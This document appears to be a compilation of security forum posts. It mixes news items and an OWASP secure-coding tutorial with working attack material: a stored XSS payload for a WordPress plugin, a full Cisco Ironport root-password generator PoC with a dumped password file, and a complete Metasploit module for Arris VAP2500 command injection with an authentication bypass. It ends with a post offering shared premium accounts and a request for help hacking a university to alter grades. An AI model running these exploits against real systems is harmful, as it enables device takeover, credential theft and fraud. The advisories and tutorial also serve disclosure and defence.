MyBB’s official Twitter profile and a staff member’s accounts were hijacked in late January. The developers of the popular open source forum software have now provided details on the incident. According to the MyBB team, someone gained unauthorized access to the community forum account and the personal website of a staff member. The password for the @mybB Twitter account was stored in plaintext in one of the threads, allowing the attacker to take over the organization’s social media account. The hacker used the hijacked Twitter account to post offensive messages, MyBB staff IP addresses, and installation statistics. The attacker also claimed to have gained access to information on unpatched SQL injection and cross-site scripting (XSS) vulnerabilities affecting the forum software. “Within two hours, we had isolated the breach and banned the staff member’s account to prevent any further purusing of private data,” MyBB wrote in a blog post on Monday. MyBB pointed out that the staff member whose account had been compromised did not have access to the Admin Control Panel, so the hacker couldn’t have gained access to private user data. The developers say there is no evidence to suggest that other information has been compromised. The attacker changed the Twitter account’s password and email address to prevent MyBB staff from recovering it. The developers regained access to the profile after contacting Twitter, which locked out the hacker during its investigation. A few days ago, someone posted screenshots of what seemed to be the MyBB 2.0 GitHub repository on a forum. The poster offered to sell the MyBB 2.0 source code for an unspecified amount of Bitcoins. It appears that the staff member whose account was compromised used the same password for GitHub and he didn’t have two-factor authentication enabled. However, MyBB said the hacked GitHub account didn’t store anything of value. “The code the user had was simply the initial commit of Laravel into the repository, none of the actual 2.0 code was present,” MyBB noted. MyBB 2.0, a complete rewrite of the software, is currently under development and in pre-alpha. “At MyBB we have a strong commitment to security. All staff with ACP access use a secret PIN, a form of 2FA. We release patches to any serious issues usually within hours of them being reported. We have Two Factor Authentication enabled on our staff email accounts and Github, and are actively working on getting 2FA for our other development tools,” MyBB said. Sursa: securityweek.com

A New York City-based private investigator has pled guilty to one charge of conspiracy to commit computer hacking, which carries a maximum sentence of five years. Eric Saldarriaga allegedly hired hackers to access the email accounts of various victims, a Federal Bureau of Investigation (FBI) press release states. Saldarriaga allegedly had the hackers hand over login credentials, so he could access victims' accounts and review their communications. Manhattan U.S. Attorney Preet Bharara said in the release: “Eric Saldarriaga crossed the line as a private investigator by hiring hackers to unlawfully and secretly access over 60 e-mail accounts, including accounts belonging to people he was investigating.” Saldarriaga's victims allegedly included both people in whom his clients were interested as well as individuals in whom he had a personal interest. Source

What is OWASP ProActive Controls? In one line, this project can be explained as “Secure Coding Practices by Developers for Developers“. OWASP ProActive Controls is a document prepared for developers who are developing or are new to developing software/application with secure software development. This OWASP project lists 10 controls that can help a developer implement secure coding and better security inside the application while it is being developed. Following these secure application development controls ensures that the key areas of the development cycle have secure coding along with traditional coding practices. The strength of this project is not just in the listed 10 controls but in the key references associated with it. Every control extends the knowledge and capabilities by mentioning existing OWASP or other open source projects that can be used to strengthen the security of an application. The ten controls defined by this project are: Parameterize Queries Encode Data Validate All Inputs Implement Appropriate Access Controls Establish Identity and Access Controls Protect Data and Privacy Implement Logging, Error Handling and Intrusion Detection Leverage Security Features of Frameworks and Security Libraries Include Security-Specific Requirements Design and Architect Security In Let us go deeper into each ProActive Control and see what it takes for us to implement it in the real world. PARAMETERIZE QUERIES One of the most dangerous attacks on a Web application and its backend data storage is SQL injection. It occurs when a user sends malicious data to an interpreter as an SQL query, which then manipulates the backend SQL statement. It is easy for an attacker to find a SQLi vulnerability using automated tools like SQLMap or by manual testing. The simplest and most popular attack vector used is: 1? or ‘1’= ‘1 Submitting it as a username and password or in any other field can lead to an authentication bypass in many cases. Here is an example of typical SQL injection in a user authentication module: String username= request.getParameter(“username”); String password= request.getParameter(“password”); Class.forName("com.mysql.jdbc.Driver"); Connection con = (Connection) DriverManager.getConnection("jdbc:mysql://database-server:3306/securitydb:", "root" ,"root"); Statement st= con.createStatement(); ResultSet rs=st.executeQuery("select * from users where username='"+username+"' and password='"+password+"' limit 0,1"); In this vulnerable code, the ‘Statement’ class is used to create a SQL statement, and at the same time it is modified by directly adding user input to it, then it is executed to fetch results from the database. Performing a simple SQLi attack in the username field will manipulate the SQL query, and an authentication bypass can take place. To stop a SQLi vulnerability, developers must prevent untrusted input from being interpreted as a part of a SQL query. It will lead to an attacker not being able to manipulate the SQL logic implemented on the server side. OWASP ProActive Controls recommends that developers should use parameterized queries only in combination with input validation when dealing with database operations. Here is an example of SQL query parameterization: String username=request.getParameter(“username”); String password=request.getParameter(“password”); Class.forName(“com.mysql.jdbc.Driver”); Connection con=( Connection) DriverManager.getConnection("jdbc:mysql://database-server:3306/securitydb:", "root" ,"root"); PreparedStatement ps=(PreparedStatement) con.prepareStatement("select * from users where username=? and password=? limit 0,1"); ps.setString(1,username); ps.setString(2,password); ResultSet rs=ps.executeQuery(); if(rs.next()) out.println("Login success"); else out.println("Login failed"); Using a parameterized query makes sure that the SQL logic is defined first and locked. Then the user input is added to it where it is needed, but treated as a particular data type string, integer, etc. as whole. In a database operation with a parameterized query in the backend, an attacker has no way to manipulate the SQL logic, leading to no SQL injection and database compromise. SQL injection vulnerability has been found and exploited in applications of very popular vendors like Yahoo! too. ENCODE DATA Data encoding helps to protect a user from different types of attacks like injection and XSS. Cross Site Scripting (XSS) is the most popular and common vulnerability in Web applications of smallest to biggest vendors with a Web presence or in their products. Web applications take user input and use it for further processing and storing in the database when ever needed. Also user input could be part of the HTTP response sent back to the user. Developers should always treat user input data as untrusted data. If user input at any point of time will be part of the response to user, then it should be encoded. If proper output encoding has been implemented, then even if malicious input was sent, it will not be executed and will be shown as plain text on the client side. It will help to solve a major web application vulnerability like XSS. Here is an example of XSS vulnerability: if(request.getMethod().equalsIgnoreCase("post")) { String name = request.getParameter("name"); if(!name.isEmpty()) { out.println("<br>Hi "+name+". How are you?"); } } In the above code, user input is not filtered and used, as it is part of message to be displayed to the user without implementing any sort of output encoding. Most common XSS vulnerabilities that affect users and are found in applications are of two types: Stored XSS Reflected XSS Stored XSS are those XSS which get stored on a sever like in a SQL database. Some part of the application fetches that information from the database and sends it to the user without properly encoding it. It then leads to malicious code being executed by the browser on the client side. Stored XSS can be carried out in public forums to conduct mass user exploitation. In Reflected XSS, the XSS script does not get stored on the server but can be executed by the browser. These attacks are delivered to victims via common communication mediums like e-mail or some other public website. By converting input data into its encoded form, this problem can be solved, and client side code execution can be prevented. Here is an example of output encoding of user input: if(request.getMethod().equalsIgnoreCase("post")) { String name = StringEscapeUtils.escapeHtml(request.getParameter("name")); if(!name.isEmpty()) { out.println("<br>Hi "+name+". How are you?"); } } In the next section you will see how input validation can secure an application. Combining input validation with data encoding can solve many problems of malicious input and safeguard the application and its users from attackers. OWASP has a project named OWASP ESAPI, which allows users to handle data in a secure manner using industry tested libraries and security functions. VALIDATE ALL INPUTS One of the most important ways to build a secure web application is to restrict what type of input a user is allowed to submit. This can be done by implementing input validation. Input validation means validating what type of input is acceptable and what is not. Input validation is important because it restricts the user to submit data in a particular format only, no other format is acceptable. This is beneficial to an application, because a valid input cannot contain malicious data and can be further processed easily. Important and common fields in a web application which require input validation are: First Name, Last Name, Phone Number, Email Address, City, Country and Gender. These fields have a particular format which has to be followed, especially email and phone number, which is very common. It is a known fact that first name and last name cannot have numbers in them; you cannot have a name as John39 *Bri@n. Such user input is treated as malicious and thus requires input validation. Input validation can be implemented on client side using JavaScript and on the server side using any server side language like Java, PHP etc. Implementing server side input validation is compulsory, whereas client side is optional but good to have. Now input validation is again of two types: Blacklist Whitelist The simplest example to explain the two can be: A security guard stops all guys wearing a red t-shirt who are trying to enter a mall, but anyone else can enter. This is a blacklist, because we are saying the red color is blocked. Whereas a whitelist says that guys wearing white, black and yellow t-shirt are allowed, and the rest all are denied entry. Similarly in programming, we define for a field what type of input and format it can have. Everything else is invalid. It is called whitelisting. Blacklisting is invalidating an input by looking for specific things only. For example, specifying that a phone number should be of 10 digits with only numbers is whitelist. Searching input for A-Z and then saying it is valid or not is blacklisting, because we are invalidating using alphabet characters only. Blacklisting has been proven to be weaker than whitelisting. In the above case, if a user enters 123456+890, then a blacklist will say it is valid because it does not contain A-Z. But it is wrong. Whereas a whitelist will say it contains a character that is not a number, and only numbers are allowed, so it is invalid. Input validation can be implemented in a web application using regular expressions. A regular expression is an object that describes a pattern of characters. These are used to perform pattern based matching on input data. Here is the example of a regular expression for first name: ^[a-zA-Z ]{3,30}$ This regular expression ensures that first name should include characters A-Z and a-z. The size of first name should be limited to 3-30 characters only. Let’s take another example of regular expression for username: ^[a-z0-9_]{3,16}$ Here this expression shows that username should include alphabets ‘a-z’, numbers ‘0-9? and special characters underscore ‘_’ only. The input length should be limited to 3-16 only. Email address validation can be performed using the following regular expression: ^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$ Depending upon the programming language a developer uses to build an application, regular expression can easily be implemented in it. Another advantage of regular expressions is that there are many industry tested regular expressions for all popular input types. So you don’t have to write one from scratch and then get it security tested. It is better to use industry tested regular expressions than writing one on your own (which in most cases will be flawed). OWASP has an Input Validation Cheat Sheet to help you implement proper input validation in your application. IMPLEMENT APPROPRIATE ACCESS CONTROLS Before we begin, it should be crystal clear that authentication is not same as authorization. Authentication takes care of your identity, whereas authorization makes sure that you have the authority or privilege to access a resource like data or some sensitive information. A simple real world example to show this can be: Alice visits Bob’s home. Her identity is known to Bob, so he allows her to enter her home (if she was not known to Bob then entry would have been denied, aka authentication failure). Alice is now inside Bob’s home. But she cannot open Bob’s family safe at home, because she is not authorized to do so. On the other hand, Bob’s sister Eve is known, so successful authentication occurs, and she is a family member, so she is authorized to access the family safe, aka successful authorization. Implementing authorization is one of the key components of application development. It has to be ensured at all times that access certain parts of the application should be accessible to users with certain privileges only. Authorization is the process of giving someone permission to do or have something. It is to be noted again that authentication is not equivalent to authorization. Many developers have a tough time handling authorization, and at some point leave a gap that gets exploited, leading to unauthorized data access. To solve this problem, access control or authorization checks should always be centralized. All user requests to access some page or database or any information should pass through the central access control check only. Access control checks should not be implemented at different locations in different application codes. If at any point in time you have to modify an access control check, then you will have to change it at multiple locations, which is not feasible for large applications. Access control should by default deny all requests which are from a user for a resource for which either access is restricted or an authorized entry has not been made. Layered Authorization Checks should be implemented. It means that the user’s request should be checked for authorization in layered manner instead of a haphazard manner. Below is an example: User requests “/protected” file access. Is user logged-in? Is user normal user or privileged user? Is user allowed access to the resource? Is resource marked as locked? f the access control check at any point in 1-5 fails, then the user will be denied access to the requested resource. OWASP Access Control Cheat Sheet can prove to be good resource for implementing access control in an application. ESTABLISH IDENTITY AND AUTHENTICATION CONTROLS Authentication is the process by which it is verified that someone is who they claim to be, or we can say it is the process of identifying individuals. Authentication is performed by entering username or password or any sensitive information. Authentication and identity are two components of accessing any kind of information that goes hand-in-hand. For example, if you want to access your bank account details or perform a transaction, you need to login into your bank account website. Successfully authenticating to your bank account proves that you are the owner of that account. From this discussion, it is clear that username and password are the elements of authentication that prove your identity. OWASP ProActive: Establish Identity and Authentication Controls says that all the modules of an application which are related to authentication and identity management should have proper security in place and secure all sensitive information. Also, an application should request for and store only the information which is absolutely needed, and nothing else. Sensitive information like password and account number should be either stored in encrypted or hashed format inside a database, so that it cannot be misused by a malicious user if he or she gains unauthorized access and decrypts it easily. Below is an example of an application that stores the user’s password in plaintext inside a MySQL database. String username=request.getParameter("username"); String password=request.getParameter("password"); PreparedStatement ps = (PreparedStatement) con.prepareStatement("insert into login_users values(?,?)"); ps.setString(1,username); ps.setString(2,password); Here the password is stored in plain text. If the database is compromised at the same time, the attacker will be able to access the user account easily. The attacker will be able to login to the user’s account using the username and password from the database, which is stored in plain text. But this vulnerability can be exploited by converting sensitive information into a hashed format, like in salted MD5 or SHA2 hash format or in encrypted form. Here is an example of hashing sensitive information before storing it in a SQL database: String username=request.getParameter("username"); String password=request.getParameter("password"); MessageDigest m = MessageDigest.getInstance("MD5"); m.update(s.getBytes(),0,s.length()); String calc_hash = new BigInteger(1,m.digest()).toString(16); if(calc_hash.length()<32) { calc_hash = "0"+calc_hash; } PreparedStatement ps = (PreparedStatement) con.prepareStatement("insert into login_users values(?,?,?)"); ps.setString(1,username); ps.setString(2,password); ps.setString(3,calc_hash); The above code shows that here sensitive information (i.e. password) is stored in a salted MD5 format. The salt is different for every new registration. If the database is compromised, then the attacker will have to find clear text for the hashed passwords, or else it will be of no use. Broken Session Management is also a type of vulnerability which exists in a web application that does not properly implement session management. For example, if a user logs out from his/her account, but he/she is redirected to some page, but session is not invalidated properly, a post-login page is opened without asking for re-authentication. Another example can be a session cookie for pre- and post-login being same. Vulnerable code: String username = request.getParameter("username"); String password = request.getParameter("password"); PreparedStatement ps=(PreparedStatement) con.prepareStatement("select * from users where username=? and password=? limit 0,1"); ps.setString(1,username); ps.setString(2,password); ResultSet rs=ps.executeQuery(); if(rs.next()) { session.setAttribute("useracc", rs.getString("username")); out.println("Login success"); } else { out.println("Login failed"); } Observe in the above code that the session cookie JSESSIONID remains the same for pre- and post-login. This vulnerability can be exploited by an attacker who has physical access to the machine and notes the value of session cookie pre-authentication. This attack is known as Session Fixation. This patched code will invalidate the session when authentication is successful and creates a new session cookie value. This changes the post-login session cookie value, and Session Fixation vulnerability cannot be exploited. String username=request.getParameter(“username”); String password=request.getParameter(“password”); PreparedStatement ps=(PreparedStatement) con.prepareStatement("select * from users where username=? and password=? limit 0,1"); ps.setString(1,username); ps.setString(2,password); ResultSet rs=ps.executeQuery(); if(rs.next()) { session.invalidate(); request.getSession(true); session.setAttribute("useracc", rs.getString("username")); out.println("Login success"); } else { out.println("Login failed"); } The session cookie value should never be predictable, and should comply with strong complexity for better security. Authentication and secure storage is not just limited to the username-password module of an application. Other key modules like forgot password and change password are also part of authentication. Financial data and personal information like SSN are some of the most important details a person is concerned with, so an application storing that data should make sure it is encrypted securely. OWASP has some key resources like: Authentication Cheat Sheet Session Management Cheat Sheet In this part of OWASP ProActive Controls, we discussed in depth how ProActive Controls 1-5 can be used in an application as a secure coding practice to safeguard it from well-known attacks. The controls discussed do not modify application development lifecycle, but ensure that application security is given the same priority as other tasks and can be carried out easily by developers. We will see the last 5 ProActive Controls in the next and final part. Reference: https://www.owasp.org/index.php/OWASP_Proactive_Controls Source

Do you know that your Facebook account can be accessed by Facebook engineers and that too without entering your account credentials? Recent details provided by the social network giant show who can access your Facebook account and when. No doubt, Facebook and other big tech companies including Google, Apple and Yahoo! are trying to keep their data out of reach from law enforcement and spies agencies by adopting encrypted communication and end-to-end encryption solutions in near future, but right now they have access to your personal data, and at least few of their employees can access it with one click. Earlier this week, director at the record label Anjunabeats, Paavo Siljamäki, brought attention to this issue by posting a very interesting story on his Facebook wall. During his visit to Facebook office in LA, a Facebook engineer logged into his Facebook account after his permission, but the strange part — they did it without asking him for the password. ACCESS WITHOUT NOTIFICATION Facebook even didn’t notify Siljamäki that someone else accessed his private Facebook profile, as the company does when your Facebook account is accessed from any new device or from a different Geo-location. Siljamäki got in contact with Facebook in order to know how many of Facebook's staff have this kind of 'master' access to anyone's Facebook account and when exactly they can access users’ private data, and also, how would anyone know if his/her Facebook account has been accessed. When the social network giant asked about how the employee got access to user’s Facebook account without entering the account credentials, Facebook issued the following statement: WHO CAN ACCESS MY FACEBOOK ACCOUNT? The company didn’t explain exactly who can access what, but it assured its users that the accounts access is tiered and limited to specific job function. The access to accounts are granted to most employees in order to reply to a customer request for information or error report. In short, the social network giant has a customer service tool that can grant Facebook employees access to a user’s account. Facebook runs two separate monitoring systems that generate weekly reports on suspicious behavior which are then reviewed and analyses by two independent security teams, specifically a selected group of employees. Facebook gives a strict warning when hired employees to use this tool and fired any employee directly who abuse it. So, you need not to worry about Mark Zuckerberg accessing your account, unless you yourself ask Facebook for help with something and have given permission. Source

===================================================== Stored XSS Vulnerability in ADPlugg Wordpress Plugin ===================================================== . contents:: Table Of Content Overview ======== * Title :Stored XSS Vulnerability in ADPlugg Wordpress Plugin * Author: Kaustubh G. Padwad * Plugin Homepage: https://wordpress.org/plugins/adplugg/ * Severity: Medium * Version Affected: 1.1.33 and mostly prior to it * Version Tested : 1.1.33 * version patched: 1.1.34 Description =========== Vulnerable Parameter -------------------- * Access Code About Vulnerability ------------------- This plugin is vulnerable to a Stored cross site scripting vulnerability,This issue was exploited when administrator users with access to AdPlugg Setting in wordpress Access code parameter is vulnerable for stored XSS. A malicious administration can hijack other users session, take control of another administrator's browser or install malware on their computer. Vulnerability Class =================== Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS) Steps to Reproduce: (POC) ========================= After installing the plugin * Goto settings --> AdPlugg * Put This payload in Access Code "><script>alert(document.cookie)</script> * Click on the Save Changes you will see XSS in action * Reload the page or re navigate to page to make sure its stored Mitigation ========== Update to Version 1.1.34 Change Log ========== https://wordpress.org/plugins/adplugg/changelog/ Disclosure ========== 18-February-2015 reported to developer 19-February-2015 Developer acknodlage the Bug 19-February-2015 Developer Patched the Bug and Push update 21-February-2015 Public Discloser credits ======= * Kaustubh Padwad * Information Security Researcher * kingkaustubh@me.com * https://twitter.com/s3curityb3ast * http://breakthesec.com * https://www.linkedin.com/in/kaustubhpadwad Source

/* Cisco Ironport Appliances Privilege Escalation Vulnerability Vendor: Cisco Product webpage: http://www.cisco.com Affected version(s): Cisco Ironport ESA - AsyncOS 8.5.5-280 Cisco Ironport WSA - AsyncOS 8.0.5-075 Cisco Ironport SMA - AsyncOS 8.3.6-0 Date: 22/05/2014 Credits: Glafkos Charalambous CVE: Not assigned by Cisco Disclosure Timeline: 19-05-2014: Vendor Notification 20-05-2014: Vendor Response/Feedback 27-08-2014: Vendor Fix/Patch 24-01-2015: Public Disclosure Description: Cisco Ironport appliances are vulnerable to authenticated "admin" privilege escalation. By enabling the Service Account from the GUI or CLI allows an admin to gain root access on the appliance, therefore bypassing all existing "admin" account limitations. The vulnerability is due to weak algorithm implementation in the password generation process which is used by Cisco to remotely access the appliance to provide technical support. Vendor Response: As anticipated, this is not considered a vulnerability but a security hardening issue. As such we did not assign a CVE however I made sure that this is fixed on SMA, ESA and WSA. The fix included several changes such as protecting better the algorithm in the binary, changing the algorithm itself to be more robust and enforcing password complexity when the administrator set the pass-phrase and enable the account. [SD] Note: Administrative credentials are needed in order to activate the access to support representative and to set up the pass-phrase that it is used to compute the final password. [GC] Still Admin user has limited permissions on the appliance and credentials can get compromised too, even with default password leading to full root access. [SD] This issue is tracked for the ESA by Cisco bug id: CSCuo96011 for the SMA by Cisco bug id: CSCuo96056 and for WSA by Cisco bug id CSCuo90528 Technical Details: By logging in to the appliance using default password "ironport" or user specified one, there is an option to enable Customer Support Remote Access. This option can be found under Help and Support -> Remote Access on the GUI or by using the CLI console account "enablediag" and issuing the command service. Enabling this service requires a temporary user password which should be provided along with the appliance serial number to Cisco techsupport for remotely connecting and authenticating to the appliance. Having a temporary password and the serial number of the appliance by enabling the service account, an attacker can in turn get full root access as well as potentially damage it, backdoor it, etc. PoC: Enable Service Account ---------------------- root@kali:~# ssh -lenablediag 192.168.0.158 Password: Last login: Sat Jan 24 15:47:07 2015 from 192.168.0.163 Copyright (c) 2001-2013, Cisco Systems, Inc. AsyncOS 8.5.5 for Cisco C100V build 280 Welcome to the Cisco C100V Email Security Virtual Appliance Available Commands: help -- View this text. quit -- Log out. service -- Enable or disable access to the service system. network -- Perform emergency configuration of the diagnostic network interface. clearnet -- Resets configuration of the diagnostic network interface. ssh -- Configure emergency SSH daemon on the diagnostic network interface. clearssh -- Stop emergency SSH daemon on the diagnostic network interface. tunnel -- Start up tech support tunnel to IronPort. print -- Print status of the diagnostic network interface. reboot -- Reboot the appliance. S/N 564DDFABBD0AD5F7A2E5-2C6019F508A4 Service Access currently disabled. ironport.example.com> service Service Access is currently disabled. Enabling this system will allow an IronPort Customer Support representative to remotely access your system to assist you in solving your technical issues. Are you sure you want to do this? [Y/N]> Y Enter a temporary password for customer support to use. This password may not be the same as your admin password. This password will not be able to be used to directly access your system. []> cisco123 Service access has been ENABLED. Please provide your temporary password to your IronPort Customer Support representative. S/N 564DDFABBD0AD5F7A2E5-2C6019F508A4 Service Access currently ENABLED (0 current service logins) ironport.example.com> Generate Service Account Password --------------------------------- Y:\Vulnerabilities\cisco\ironport>woofwoof.exe Usage: woofwoof.exe -p password -s serial -p <password> | Cisco Service Temp Password -s <serial> | Cisco Serial Number -h | This Help Menu Example: woofwoof.exe -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019F508A4 Y:\Vulnerabilities\cisco\ironport>woofwoof.exe -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019 F508A4 Service Password: b213c9a4 Login to the appliance as Service account with root privileges -------------------------------------------------------------- root@kali:~# ssh -lservice 192.168.0.158 Password: Last login: Wed Dec 17 21:15:24 2014 from 192.168.0.10 Copyright (c) 2001-2013, Cisco Systems, Inc. AsyncOS 8.5.5 for Cisco C100V build 280 Welcome to the Cisco C100V Email Security Virtual Appliance # uname -a FreeBSD ironport.example.com 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Mar 14 08:04:05 PDT 2014 auto-build@vm30esa0109.ibeng:/usr/build/iproot/freebsd/mods/src/sys/amd64/compile/MESSAGING_GATEWAY.amd64 amd64 # cat /etc/master.passwd # $Header: //prod/phoebe-8-5-5-br/sam/freebsd/install/dist/etc/master.passwd#1 $ root:*:0:0::0:0:Mr &:/root:/sbin/nologin service:$1$bYeV53ke$Q7hVZA5heeb4fC1DN9dsK/:0:0::0:0:Mr &:/root:/bin/sh enablediag:$1$VvOyFxKd$OF2Cs/W0ZTWuGTtMvT5zc/:999:999::0:0:Administrator support access control:/root:/data/bin/enablediag.sh adminpassword:$1$aDeitl0/$BlmzKUSeRXoc4kcuGzuSP/:0:1000::0:0:Administrator Password Tool:/data/home/admin:/data/bin/adminpassword.sh daemon:*:1:1::0:0:Owner of many system processes:/root:/sbin/nologin operator:*:2:5::0:0:System &:/:/sbin/nologin bin:*:3:7::0:0:Binaries Commands and Source,,,:/:/sbin/nologin tty:*:4:65533::0:0:Tty Sandbox:/:/sbin/nologin kmem:*:5:65533::0:0:KMem Sandbox:/:/sbin/nologin man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/sbin/nologin sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/sbin/nologin nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/sbin/nologin support:$1$FgFVb064$SmsZv/ez7Pf4wJLp5830s/:666:666::0:0:Mr &:/root:/sbin/nologin admin:$1$VvOyFxKd$OF2Cs/W0ZTWuGTtMvT5zc/:1000:1000::0:0:Administrator:/data/home/admin:/data/bin/cli.sh clustercomm:*:900:1005::0:0:Cluster Communication User:/data/home/clustercomm:/data/bin/command_proxy.sh smaduser:*:901:1007::0:0:Smad User:/data/home/smaduser:/data/bin/cli.sh spamd:*:783:1006::0:0:CASE User:/usr/case:/sbin/nologin pgsql:*:70:70::0:0:PostgreSQL pseudo-user:/usr/local/pgsql:/bin/sh ldap:*:389:389::0:0:OpenLDAP Server:/nonexistent:/sbin/nologin */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include "md5.h" #include "getopt.h" #define MAX_BUFFER 128 #define SECRET_PASS "woofwoof" void usage(char *name); void to_lower(char *str); void fuzz_string(char *str); int main(int argc, char *argv[]) { if (argc < 2) { usage(argv[0]); } int opt; int index; char *temp_pass = { 0 }; char *serial_no = { 0 }; char *secret_pass = SECRET_PASS; char service[MAX_BUFFER] = { 0 }; unsigned char digest[16] = { 0 }; while ((opt = getopt(argc, argv, "p:s:h")) != -1) { switch (opt) { case 'p': temp_pass = optarg; break; case 's': serial_no = optarg; break; case 'h': usage(argv[0]); break; default: printf_s("Wrong Argument: %s\n", argv[1]); break; } } for (index = optind; index < argc; index++) { usage(argv[0]); exit(0); } if (temp_pass == NULL || serial_no == NULL) { usage(argv[0]); exit(0); } if ((strlen(temp_pass) <= sizeof(service)) && (strlen(serial_no) <= sizeof(service))) { to_lower(serial_no); fuzz_string(temp_pass); strcpy_s(service, sizeof(service), temp_pass); strcat_s(service, sizeof(service), serial_no); strcat_s(service, sizeof(service), secret_pass); MD5_CTX context; MD5_Init(&context); MD5_Update(&context, service, strlen(service)); MD5_Final(digest, &context); printf_s("Service Password: "); for (int i = 0; i < sizeof(digest)-12; i++) printf("%02x", digest[i]); } return 0; } void fuzz_string(char *str) { while (*str){ switch (*str) { case '1': *str = 'i'; break; case '0': *str = 'o'; break; case '_': *str = '-'; break; } str++; } } void to_lower(char *str) { while (*str) { if (*str >= 'A' && *str <= 'Z') { *str += 0x20; } str++; } } void usage(char *name) { printf_s("\nUsage: %s -p password -s serial\n", name); printf_s(" -p <password> | Cisco Service Temp Password\n"); printf_s(" -s <serial> | Cisco Serial Number\n"); printf_s(" -h | This Help Menu\n"); printf_s("\n Example: %s -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019F508A4\n", name); exit(0); } Source

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Arris VAP2500 tools_command.php Command Execution', 'Description' => %q{ Arris VAP2500 access points are vulnerable to OS command injection in the web management portal via the tools_command.php page. Though authentication is required to access this page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid username. }, 'Author' => [ 'HeadlessZeke' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-8423'], ['CVE', '2014-8424'], ['OSVDB', '115045'], ['OSVDB', '115046'], ['BID', '71297'], ['BID', '71299'], ['URL', 'http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/'] ], 'DisclosureDate' => 'Nov 25 2014', 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0 )) end def check begin res = send_request_raw({ 'method' => 'GET', 'uri' => '/tools_command.php', 'cookie' => "p=#{Rex::Text.md5('super')}" }) if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/ return Exploit::CheckCode::Vulnerable end rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown end Exploit::CheckCode::Safe end def exploit print_status("#{peer} - Trying to access the device ...") unless check == Exploit::CheckCode::Vulnerable fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device") end print_status("#{peer} - Exploiting...") if datastore['PAYLOAD'] == 'cmd/unix/generic' exploit_cmd else exploit_session end end def exploit_cmd beg_boundary = rand_text_alpha(8) end_boundary = rand_text_alpha(8) begin res = send_request_cgi({ 'uri' => normalize_uri('/', 'tools_command.php'), 'vars_post' => { 'cmb_header' => '', 'txt_command' => "echo #{beg_boundary}; #{payload.encoded}; echo #{end_boundary}" }, 'method' => 'POST', 'cookie' => "p=#{Rex::Text.md5('super')}" }) if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/ print_good("#{peer} - Command sent successfully") if res.body.to_s =~ /#{beg_boundary}(.*)#{end_boundary}/m print_status("#{peer} - Command output: #{$1}") end else fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed") end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end def exploit_session begin send_request_cgi({ 'uri' => normalize_uri('/', 'tools_command.php'), 'vars_post' => { 'cmb_header' => '', 'txt_command' => "#{payload.encoded}" }, 'method' => 'POST', 'cookie' => "p=#{Rex::Text.md5('super')}" }, 3) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end Source

http://trtpost.wpengine.netdna-cdn.com/files/2015/01/FTP_scada-680x400.jpg/img] The parade of easily exploitable, critical vulnerabilities in ICS software shows no signs of ending anytime soon, with the latest entrant being two flaws in Schneider Electric’s ETG3000 FactoryCast HMI Gateway that allow unauthenticated remote access to the device’s FTP server and configuration file. The vulnerabilities exist in numerous versions of the gateway, which is used in manufacturing, energy, water and other industries as a Web-based SCADA system. Schneider Electric, based in Paris, has pushed out an updated version of the firmware to fix these vulnerabilities, according to an advisory from ICS-CERT. “Access to the rde.jar file containing configuration details is accessible without authentication. This could allow an attacker access to information on the setup and configuration of the gateway,” the advisory says. The vulnerability in the FTP server that runs on the gateway is just as concerning. “The ftp server of the device has hard-coded credentials. This could allow the attacker to access the service without proper authentication,” the advisory says. The affected versions are: TSXETG3000 all versions, TSXETG3010 all versions, TSXETG3021 all versions, TSXETG3022 all versions. Schneider Electric’s update fixes the FTP bug by giving users the ability to disable the FTP server. However, the fix does not remove the hard-coded credentials for the FTP service. To address the configuration file access, the company recommends that customers change the default credentials for the config files. Source

Uploaded.net 27 weeks 3 days and 21 hours user-pass (pm) Share-Online.biz Filesflash.com Valid until: 2015-04-20 rapidgator Only/For/VIP/Premium/Accounts(Turbo Access to 30.06.2015) si multe altele!

Sorry, I didn't know where to post this, (I'll delete it if this is the wrong place!) but me and my friend are trying to hack into an American university to modify grades. We tried a lot! We tried to phish emails to gain admin access but that failed We also tried to get a rootkit and than gain backend entry access that also failed Please let me know of any tips/tricks/ Please consult me!

